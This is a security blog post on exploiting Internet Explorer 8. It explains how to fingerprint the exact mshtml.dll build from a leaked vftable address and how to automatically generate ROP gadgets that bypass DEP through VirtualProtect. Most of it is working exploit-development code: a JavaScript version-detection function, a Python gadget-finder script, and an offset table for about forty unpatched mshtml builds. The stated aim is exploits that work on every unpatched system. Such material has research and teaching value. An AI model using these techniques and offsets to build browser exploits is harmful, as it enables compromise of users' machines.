Internet explorer version detection & ROP genration

Written by ZD. Posted in Blog

Hello all

 

Once upon a time I was writing some exploit for internet explorer. The problem for exploiting IE was that I had no capability to detect exact version of mshtml.dll module. So my ROP gadgets were working only for one exact version of unpatched DLL. To overcome this hurdle and write some exploits that work on every unpatched system I had to solve two problems:

-        Find a way to detect mshtml module version

-        Automatically generate ROP gadgets for archive of mshtml.dll

 

Detect module Version by leakage:

In other browsers it is possible to detect exact version of by the help of User-agent http header or Javascript navigator.userAgent. But in case of internet explorer there is just the major version for example: 9.0 or 8.0.

In advanced browser exploits most of the time we have to Leak some address from the module to calculate offset of Image Base.  In my case I was leaking address of CObject vftable. I compared the offset of leaked address with another version of unpatched mshtml:

mshtml.dll 8.0.7601.17744 : 0x2F64

mshtml.dll 8.0.7601.17785 : 0x2FF4

 

So here we can use this simple trick to detect the versions. So I archived a library of my target browser:

And I made the following javascript function for detecting versions:

{

offset =  off & 0x0000ffff;

var sWindowsVersion  = navigator.userAgent.match(/Windows NT (\d+.\d+)/)[1];

var add2 = {

0x1B4C : "8.0.7600.20579",

0x1B6C : "8.0.7600.20600",

0x1C5C : "8.0.7600.20651",

0x1CEC : "8.0.7600.20795",

0x1C3C : "8.0.7600.20831",

0x1BAC : "8.0.7600.20861",

0x1C2C : "8.0.7600.20908",

0x1D2C : "8.0.7600.20975",

0x1B8C : "8.0.7600.21013",

0x1A7C : "8.0.7600.21062",

0x1BFC : "8.0.7600.21085",

0x1CCC : "8.0.7600.21108",

0x1DCC : "8.0.7600.21158",

0x2F24 : "8.0.7601.21636",

0x2E14 : "8.0.7601.21676",

0x2EFC : "8.0.7601.21735",

0x3048 : "8.0.7601.21776",

0x2DF4 : "8.0.7601.21830",

0x2F74 : "8.0.7601.21878",

0x2FF4 : "8.0.7601.21931"};

var add1 = {

0x1C0C : "8.0.7600.16385",

0x1C6C : "8.0.7600.16419",

0x1C2C : "8.0.7600.16466",

0x1B6C : "8.0.7600.16490",

0x1CDC : "8.0.7600.16671",

0x1C5C : "8.0.7600.16700",

0x1BCC : "8.0.7600.16722",

0x1BAC : "8.0.7600.16766",

0x1B9C : "8.0.7600.16853",

0x1989 : "8.0.7600.16891",

0x1A0C : "8.0.7600.16912",

0x1C7C : "8.0.7600.16930",

0x1B0C : "8.0.7600.16968",

0x2F24 : "8.0.7601.17537",

0x2E14 : "8.0.7601.17573",

0x2EFC : "8.0.7601.17622",

0x3048 : "8.0.7601.17655",

0x2F74 : "8.0.7601.17699",

0x2EA4 : "8.0.7601.17720",

0x2F64 : "8.0.7601.17744",

0x2FF4 : "8.0.7601.17785"};

if ( ScriptEngineBuildVersion().toString().substring(0,1) == '1')

{

return add1[offset];

}

else if ( ScriptEngineBuildVersion().toString().substring(0,1) == '2')

{

return add2[offset];

}

};

Automatic ROP Offset generation

Now we have versions so we can generate various ROP gadgets for various version. But doing such task by hand (finding offset of ROP on every module) is a tedious task. Here are the instructions of my short ROP gadget:

XCHG EAX,ESP | RET

ADD ESP,30 | POP EDI | POP ESI | RETN

MOV EAX,DWORD PTR DS:[ESI] | POP ESI | POP EBP | RETN4

CALL EAX | RETN

 

I used these instructions for simply stack pivoting and calling virtual protect function so evading DEP protection. I was looking for some library or tools that I could automate the task of finding the gadgets offset in all modules that my old co-mate shahin told me how we can make it easily in python. 

 

#-------------------------------------------------------------------------------
# Name:        MSHTML_GEN_ROP.py
# Purpose:     VirtualProtect() ROP Finder
#
# Author:      Shahin Ramezany 
# IE-ROP:      Ahmad Moghimi
# Created:     18/08/2012

# Copyright:   (c) ZDResearch 2012

# Licence:     GPL v3

#-------------------------------------------------------------------------------

#!/usr/bin/env python

import sys

import pefile

import pydasm

import os

def Loadpe(path):

#load PE

pe = pefile.PE(path)

print "\n"

print "[+] MSHTML.dll version : " , pe.FileInfo[0].StringTable[0].entries['ProductVersion']

fi = open('mshtml.dll_%s.txt'%(pe.FileInfo[0].StringTable[0].entries['ProductVersion']), 'w+')

# looking for sections in PE

#for section in pe.sections:

#if section.Name.find(".text") != -1 :

#print "[+] Found .text Section At Base : " , hex(section.VirtualAddress)

# looking for kernel32.dll

for entry in pe.DIRECTORY_ENTRY_IMPORT:

if entry.dll.lower().find("kernel32") != -1 :

#print "[+] Found Kernel32.dll"

for imp in entry.imports:

if imp.name.find("VirtualProtect") != -1 :

print '[+] Found VirtualProtect Import At : ', hex(imp.address - pe.OPTIONAL_HEADER.ImageBase)

fi.write('[+] Found VirtualProtect Import At %s: \n'%(hex(imp.address - pe.OPTIONAL_HEADER.ImageBase)))

ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint

ep_ava = ep+pe.OPTIONAL_HEADER.ImageBase

text_va = pe.sections[0].VirtualAddress

data = pe.get_memory_mapped_image()[text_va:text_va+pe.sections[0].SizeOfRawData]

gadg_offset = data.find('\x94\xc3')

x = gadg_offset + 2

print "[+] Pivot Offset : %s"%(hex(gadg_offset+text_va))

fi.write("[+] Pivot Offset : %s\n"%(hex(gadg_offset+text_va)))

while gadg_offset < x:

i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32)

print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)

fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset))

fi.write('\n')

gadg_offset += i.length

gadg_offset = data.find('\x83\xc4\x30\x5f\x5e\xc3')

x = gadg_offset + 6

print "[+] Gadget I Offset : %s"%(hex(gadg_offset+text_va))

fi.write("[+] Gadget I Offset : %s\n"%(hex(gadg_offset+text_va)))

while gadg_offset < x:

i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32)

print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)

fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset))

fi.write('\n')

gadg_offset += i.length

gadg_offset = data.find('\x8b\x06\x5e\x5d\xc2\x04\x00')

x = gadg_offset + 7

print "[+] Gadget II Offset : %s"%(hex(gadg_offset+text_va))

fi.write("[+] Gadget II Offset : %s\n"%(hex(gadg_offset+text_va)))

while gadg_offset < x:

i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32)

print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)

fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset))

fi.write('\n')

gadg_offset += i.length

gadg_offset = data.find('\xff\xd0\xc3')

x = gadg_offset + 3

print "[+] Gadget III Offset : %s"%(hex(gadg_offset+text_va))

fi.write("[+] Gadget III Offset : %s\n"%(hex(gadg_offset+text_va)))

while gadg_offset < x:

i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32)

print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)

fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset))

fi.write('\n')

gadg_offset += i.length

fi.close()

if __name__ == '__main__':

walker = list(os.walk(os.path.abspath("D:\\ie8_mshtml")))[0]

folders = walker[1]

for folder in folders:

walker = list(os.walk(os.path.abspath("D:\\ie8_mshtml\\%s"%(folder))))[0]

files = walker[2]

for fi in files:

if fi == 'mshtml.dll':

Loadpe("D:\\ie8_mshtml\\%s\\%s"%(folder, fi))

And we combined the result with javascript json to initialize proper gadgets for proper version. Here is the javascript function:

{

// VERSION:  VTABLE OFFSET :  VP : Pivot : Gadget I : Gadget II  : Gadget III

offsets = {

"8.0.7600.20579" : [0xB1B4C, 0x1308, 0xdcc3, 0x1b11a4, 0x21e4, 0x265d99],

"8.0.7600.20600" : [0xB1B6C, 0x1308, 0x11827, 0x1b108c, 0x21e4, 0x265c59],

"8.0.7600.20651" : [0xB1C5C, 0x1310, 0xe28e, 0x1b113c, 0x21ec, 0x265e39],

"8.0.7600.20795" : [0xB1CEC, 0x1344, 0xdc74, 0x1b0fbc, 0x2220, 0x265b8e],

"8.0.7600.20831" : [0xB1C3C, 0x1348, 0x118b7, 0x1b0f6c, 0x2228, 0x265d4e],

"8.0.7600.20861" : [0xB1BAC, 0x1348, 0xdd54, 0x1b0fbc, 0x2228, 0x265bbe],

"8.0.7600.20908" : [0xB1C2C, 0x1348, 0xdd54, 0x1b1234, 0x2228, 0x265e1e],

"8.0.7600.20975" : [0xB1D2C, 0x1348, 0x11987, 0x1b1154, 0x222c, 0x265d2e],

"8.0.7600.21013" : [0xB1B8C, 0x134c, 0x1197f, 0x1b123c, 0x2230, 0x265fc0],

"8.0.7600.21062" : [0xB1A7C, 0x134c, 0x1197b, 0x1b1114, 0x2230, 0x265dc1],

"8.0.7600.21085" : [0xB1BFC, 0x133c, 0x119ab, 0x1b11e4, 0x2248, 0x265837],

"8.0.7600.21108" : [0xB1CCC, 0x133c, 0x119ab, 0x1b1324, 0x2248, 0x265a43],

"8.0.7600.21158" : [0xB1DCC, 0x133c, 0x119ab, 0x1b12a4, 0x2248, 0x265927],

"8.0.7601.21636" : [0xF2F24, 0x1348, 0x1b44b, 0x1b0b1e, 0x23b4, 0x25fbfc],

"8.0.7601.21676" : [0xF2E14, 0x1348, 0x1b43f, 0x1b07c6, 0x23b4, 0x25fbcc],

"8.0.7601.21735" : [0xF2EFC, 0x1348, 0x1b503, 0x1b0806, 0x23bc, 0x25fdec],

"8.0.7601.21776" : [0xF3048, 0x134c, 0x1b4ef, 0x1b0c16, 0x23bc, 0x25fd5b],

"8.0.7601.21830" : [0xF2DF4, 0x134c, 0x1b4bf, 0x1b08e6, 0x23bc, 0x25fd36],

"8.0.7601.21878" : [0xF2F74, 0x133c, 0x1b4ef, 0x1b0826, 0x23d4, 0x25f414],

"8.0.7601.21931" : [0xF2FF4, 0x133c, 0x1b4ef, 0x1b0846, 0x23d4, 0x25f411],

"8.0.7600.16385" : [0xB1C0C, 0x1308, 0x117ef, 0x1b1124, 0x21e0, 0x265d89],

"8.0.7600.16419" : [0xB1C6C, 0x1308, 0x117cf, 0x1b11c4, 0x21e0, 0x265fe9],

"8.0.7600.16466" : [0xB1C2C, 0x1308, 0x117df, 0x1b11c4, 0x21e0, 0x265fe9],

"8.0.7600.16490" : [0xB1B6C, 0x1308, 0x11827, 0x1b10ac, 0x21e0, 0x265c59],

"8.0.7600.16671" : [0xB1CDC, 0x1344, 0x1184f, 0x1b1004, 0x2220, 0x265e4e],

"8.0.7600.16700" : [0xB1C5C, 0x1348, 0x1184f, 0x1b0f24, 0x2228, 0x265dbe],

"8.0.7600.16722" : [0xB1BCC, 0x1348, 0x11847, 0x1b1064, 0x2228, 0x265b6e],

"8.0.7600.16766" : [0xB1BAC, 0x1348, 0x1184f, 0x1b0fbc, 0x2228, 0x265f1e],

"8.0.7600.16853" : [0xB1B9C, 0x134c, 0x1192f, 0x1b11f4, 0x2230, 0x265f40],

"8.0.7600.16891" : [0xB1989, 0x134c, 0x118ff, 0x1b0f4c, 0x2230, 0x265d13],

"8.0.7600.16912" : [0xB1A0C, 0x133c, 0x1191b, 0x1b0eb4, 0x2244, 0x2654d7],

"8.0.7600.16930" : [0xB1C7C, 0x133c, 0x1191b, 0x1b101c, 0x2244, 0x265622],

"8.0.7600.16968" : [0xB1B0C, 0x133c, 0x1191b, 0x1b0e6c, 0x2244, 0x265434],

"8.0.7601.17537" : [0xF2F24, 0x1348, 0x1b44b, 0x1b0b1e, 0x23b4, 0x25fbfc],

"8.0.7601.17573" : [0xF2E14, 0x1348, 0x1b43f, 0x1b07c6, 0x23b4, 0x25fbcc],

"8.0.7601.17622" : [0xF2EFC, 0x1348, 0x1b503, 0x1b0806, 0x23bc, 0x25fdec],

"8.0.7601.17655" : [0xF3048, 0x134c, 0x1b4ef, 0x1b0c16, 0x23bc, 0x25fd5b],

"8.0.7601.17699" : [0xF2F74, 0x134c, 0x1b4ef, 0x1b0a96, 0x23bc, 0x25fac6],

"8.0.7601.17720" : [0xF2EA4, 0x133c, 0x1b4e3, 0x1b07d6, 0x23cc, 0x25f483],

"8.0.7601.17744" : [0xF2F64, 0x133c, 0x1b4e3, 0x1b07d6, 0x23cc, 0x25f43c],

"8.0.7601.17785" : [0xF2FF4, 0x133c, 0x1b4ef, 0x1b0846, 0x23cc, 0x25f41d]};

baseOffset = offsets[version][0];

vp = offsets[version][1];

pivot = offsets[version][2];

gadg1 = offsets[version][3];

gadg2 = offsets[version][4];

gadg3 = offsets[version][5];

}

That’s it.

PS : if you are interested in exploitation and reverse engineering you can use our training courses.

By Ahmad Moghimi

 

Trackback from your site.

Leave a comment